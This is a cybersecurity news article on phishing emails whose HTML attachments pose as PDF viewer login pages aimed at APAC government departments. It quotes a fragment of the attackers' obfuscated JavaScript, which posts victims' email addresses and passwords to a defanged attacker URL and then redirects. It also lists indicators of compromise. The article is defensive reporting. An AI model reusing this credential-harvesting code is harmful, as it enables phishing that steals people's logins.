Tuesday, June 25, 2024

Beware Of HTML That Masquerade As PDF Viewer Login Pages

Phishing attacks have evolved into increasingly sophisticated schemes to trick users into revealing their personal information.

One such method that has gained prominence involves phishing emails masquerading as PDF viewer login pages.

Phishing Email Instance

These deceptive emails lure unsuspecting users into entering their email addresses and passwords, compromising their online security.

Forcepoint X-Labs has recently observed many phishing emails targeting various government departments in the Asia-Pacific (APAC) region.

These emails masquerade as PDF viewer login pages, with the primary goal of harvesting user credentials.

The phishing emails were found to originate from the same sender, hachemi52d31[at]live[.fr].

ANYRUN malware sandbox’s 8th Birthday Special Offer: Grab 6 Months of Free Service

How the Scam Works- Masquerading as PDF Viewer Login Page

When users open the HTML file attached to the phishing email in a web browser, they are presented with a fake login page asking them to verify their password.

Obfuscated JavaScript Code

The primary purpose of this page is to collect the victim’s credentials. Below is an example of the HTML code used in these phishing scams:


$(document).ready(function () {

    var _0x5558x5 = 0; // login_attempt i.e rc variable

    $(document).keypress(function (_0x5558x6) {

        var _0x5558x7 = _0x5558x6.keyCode ? _0x5558x6.keyCode : _0x5558x6.which;

        if (_0x5558x7 == 13) {





    var _0x5558x8 = window.location.hash.substr(1); // URL Hash Processing

    if (!_0x5558x8) {

        //Not doing any thing

    } else {

        var _0x5558x9 = _0x5558x8;

        var _0x5558xa = _0x5558x9.indexOf("@");

        var _0x5558xb = _0x5558x9.substr(_0x5558xa + 1);

        var _0x5558xc = _0x5558xb.substr(0, _0x5558xb.indexOf("."));

        var _0x5558xd = _0x5558xc.toLowerCase();





    $("#sub-btn").click(function (_0x5558x6) {




        var _0x5558x8 = $("#ai").val();

        var _0x5558xe = $("#pr").val();

        var _0x5558xf = $("#msg").html();


        var _0x5558x9 = _0x5558x8;

        var _0x5558x10 = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!_0x5558x8) {


            $("#error").text("Email field is empty.!");

            return false;


        if (!_0x5558x10.test(_0x5558x9)) {


            $("#error").text("That account doesn't exist. Enter a different account");

            return false;


        if (!$("#div2").is(":visible")) {


                right: 0,

                opacity: show

            }, 500);

            return false;


        if (!_0x5558xe) {


            $("#error").text("Password field is empty.!");

            return false;


        var _0x5558xa = _0x5558x9.indexOf("@");

        var _0x5558xb = _0x5558x9.substr(_0x5558xa + 1);

        var _0x5558xc = _0x5558xb.substr(0, _0x5558xb.indexOf("."));

        var _0x5558xd = _0x5558xc.toLowerCase();

        _0x5558x5 = _0x5558x5 + 1;


            dataType: JSON,

            url: "hxxp[://]s810733.ha007.t.mydomain[.]zone/xille/msn-ai.php", // f

            type: "POST",

            data: {

                ai: _0x5558x8, // email address

                pr: _0x5558xe // password


            beforeSend: function (_0x5558x11) {



            complete: function () {


                if (_0x5558x5 >= 2) {

                    _0x5558x5 = 0;

                    window.location.replace("hxxps[://]b1498432.smushcdn[.]com/1498432/wp-content/uploads/Credit-Card-Payment-Invoice-768x993.png?lossy=1&strip=1&webp=1"); // rdrt

                    return false;



                $("#sub-btn").val("Start Download");






De-Obfuscating the Code

The code above is an obfuscated JavaScript designed to mask its true intent. By decoding the obfuscated parts, we can understand its functionality.

The de-obfuscated JavaScript performs the following actions:

  1. Document Ready Function: Initializes a keypress event listener to detect when the Enter key is pressed.
  2. URL Hash Processing: Extracts and displays the email address from the URL hash.
  3. Form Submission Handling: This function validates user inputs, handles form submissions, and communicates with a backend server using AJAX. It redirects the user to a specified URL if certain conditions are met.
The image shows the redirected URL once the condition is met.

Protection Measures

Forcepoint customers are protected against this threat at various stages of the attack:

  • Stage 1 (Reconnaissance): Harvesting email addresses. The attacker’s address is blocked.
  • Stage 2 (Lure): Delivering weaponized HTML via email. Email analytics block multiple weaponized HTML files.
  • Stage 3 (Redirect): Redirecting to a credit card invoice page after posting the credentials to the phishing URL. The redirected URL is blocked under security classification.
  • Stage 6 (Call Home): Posting credentials to a phishing URL. The URL is categorized and blocked under security classification.

This code is designed to phish for user credentials and should not be trusted or used.

If you encounter this or similar code in the wild, report it to relevant authorities and avoid interacting with the site.

Do not enter personal information into websites or forms you do not fully trust, and always verify the legitimacy of the sites you visit, especially when asked for sensitive information.


hachemi52d31@live[.frPotential attacker email address
SubjectsFwd: Smooth Delivery Proof – Friday, May 17, 2024 Fwd: Proof of Payment – Saturday, May 18, 2024
Phishing URLhxxp[://]s810733[.]ha007[.]t[.]mydomain[.]zone/xille/msn-ai[.]php hxxp[://]s810733[.]ha007[.]t[.]mydomain[.]zone/msn-ai[.]php
Credit Card Invoice Payment URLhxxps[://]b1498432[.]smushcdn[.]com/1498432/wp-content/uploads/Credit-Card-Payment-Invoice-768×993[.]png?lossy=1&strip=1&webp=1
HTML SHA13fcae869e82602a8e809c6eb89856f81148df474

Free Webinar on Live API Attack Simulation: Book Your Seat | Start protecting your APIs from hackers


Latest articles

WikiLeaks Founder Julian Assange Released in Stunning Deal with U.S.

WikiLeaks founder Julian Assange has been released from prison after reaching a deal with...

Four Members of FIN9 Hackers Charged for Attacking U.S. Companies

Four Vietnamese nationals have been charged for their involvement in a series of computer...

BREAKING: NHS England’s Synnovis Hit by Massive Cyber Attack

In a shocking development, the NHS has revealed that it was the victim of...

Threat Actor Claiming a 0-day in Linux LPE Via GRUB bootloader

A new threat actor has emerged, claiming a zero-day vulnerability in the Linux GRUB...

LockBit Ransomware Group Claims Hack of US Federal Reserve

The notorious LockBit ransomware group has claimed responsibility for hacking the U.S. Federal Reserve,...

Microsoft Power BI Vulnerability Let Attackers Access Organizations Sensitive Data

A vulnerability in Microsoft Power BI allows unauthorized users to access sensitive data underlying...

Consulting Companies to Pay $11 Million Failing Cybersecurity Requirements

Two consulting companies, Guidehouse Inc. and Nan McKay and Associates, have agreed to pay...
Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Free Webinar

API Vulnerability Scanning

71% of the internet traffic comes from APIs so APIs have become soft targets for hackers.Securing APIs is a simple workflow provided you find API specific vulnerabilities and protect them.In the upcoming webinar, join Vivek Gopalan, VP of Products at Indusface as he takes you through the fundamentals of API vulnerability scanning..
Key takeaways include:

  • Scan API endpoints for OWASP API Top 10 vulnerabilities
  • Perform API penetration testing for business logic vulnerabilities
  • Prioritize the most critical vulnerabilities with AcuRisQ
  • Workflow automation for this entire process

Related Articles